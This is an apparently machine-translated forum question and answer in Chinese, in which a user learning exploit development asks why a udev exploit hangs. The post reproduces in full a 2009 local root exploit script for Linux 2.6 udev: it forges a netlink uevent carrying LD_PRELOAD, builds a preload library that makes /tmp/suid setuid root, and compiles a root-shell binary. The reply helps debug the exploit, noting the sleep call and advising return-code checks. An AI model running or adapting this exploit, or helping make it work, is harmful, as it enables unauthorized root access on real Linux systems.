运行udev

Question

我已经成功编译了以下代码而没有任何问题。但是，当我试图运行＆＃34; udev＆＃34;在盒子上，它只是保持悬挂，并没有做任何事情。我无法弄清楚为什么，过去几天我一直在努力解决这个问题，并试图弄清楚它为什么会挂起来。任何人都可以帮我这个。我正在研究漏洞利用开发，我完全坚持这个。

#!/bin/sh
# Linux 2.6
# bug found by Sebastian Krahmer
#
# lame sploit using LD technique 
# by kcope in 2009
# tested on debian-etch,ubuntu,gentoo
# do a 'cat /proc/net/netlink'
# and set the first arg to this
# script to the pid of the netlink socket
# (the pid is udevd_pid - 1 most of the time)
# + sploit has to be UNIX formatted text :)
# + if it doesn't work the 1st time try more often
#
# WARNING: maybe needs some FIXUP to work flawlessly
## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang

cat > udev.c << _EOF
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sysexits.h>
#include <wait.h>
#include <signal.h>
#include <sys/socket.h>
#include <linux/types.h>
#include <linux/netlink.h>

#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15
#endif

#define SHORT_STRING 64
#define MEDIUM_STRING 128
#define BIG_STRING 256
#define LONG_STRING 1024
#define EXTRALONG_STRING 4096
#define TRUE 1
#define FALSE 0

int socket_fd;
struct sockaddr_nl address;
struct msghdr msg;
struct iovec iovector;
int sz = 64*1024;

main(int argc, char **argv) {
        char sysfspath[SHORT_STRING];
        char subsystem[SHORT_STRING];
        char event[SHORT_STRING];
        char major[SHORT_STRING];
        char minor[SHORT_STRING];

        sprintf(event, "add");
        sprintf(subsystem, "block");
        sprintf(sysfspath, "/dev/foo");
        sprintf(major, "8");
        sprintf(minor, "1");

        memset(&address, 0, sizeof(address));
        address.nl_family = AF_NETLINK;
        address.nl_pid = atoi(argv[1]);
        address.nl_groups = 0;

        msg.msg_name = (void*)&address;
        msg.msg_namelen = sizeof(address);
        msg.msg_iov = &iovector;
        msg.msg_iovlen = 1;

        socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
        bind(socket_fd, (struct sockaddr *) &address, sizeof(address));

        char message[LONG_STRING];
        char *mp;

        mp = message;
        mp += sprintf(mp, "%s@%s", event, sysfspath) +1;
        mp += sprintf(mp, "ACTION=%s", event) +1;
        mp += sprintf(mp, "DEVPATH=%s", sysfspath) +1;
        mp += sprintf(mp, "MAJOR=%s", major) +1;
        mp += sprintf(mp, "MINOR=%s", minor) +1;
        mp += sprintf(mp, "SUBSYSTEM=%s", subsystem) +1;
        mp += sprintf(mp, "LD_PRELOAD=/tmp/libno_ex.so.1.0") +1;

        iovector.iov_base = (void*)message;
        iovector.iov_len = (int)(mp-message);

        char *buf;
        int buflen;
        buf = (char *) &msg;
        buflen = (int)(mp-message);

        sendmsg(socket_fd, &msg, 0);

        close(socket_fd);

    sleep(10);
    execl("/tmp/suid", "suid", (void*)0);
}

_EOF
gcc --no-warnings udev.c -o /tmp/udev
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init()
{
 setgid(0);
 setuid(0);
 unsetenv("LD_PRELOAD");
 execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL);
}

_EOF
gcc --no-warnings -o program.o -c program.c -fPIC
gcc --no-warnings -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
cat > suid.c << _EOF
int main(void) {
       setgid(0); setuid(0);
       execl("/bin/sh","sh",0); }
_EOF
gcc --no-warnings -o /tmp/suid suid.c
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
/tmp/udev $1

# milw0rm.com [2009-04-20]

Answer 1

当你在程序中调用sleep(10)时有一个明显的挂起，另一方面，请检查套接字函数的返回码，看看是否有任何失败：

socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
if (socket_fd < 0) { ... }
ret = bind(socket_fd, (struct sockaddr *) &address, sizeof(address));
if (ret < 0) {...}
ret = sendmsg(socket_fd, &msg, 0);
if (ret < 0) {// send failed}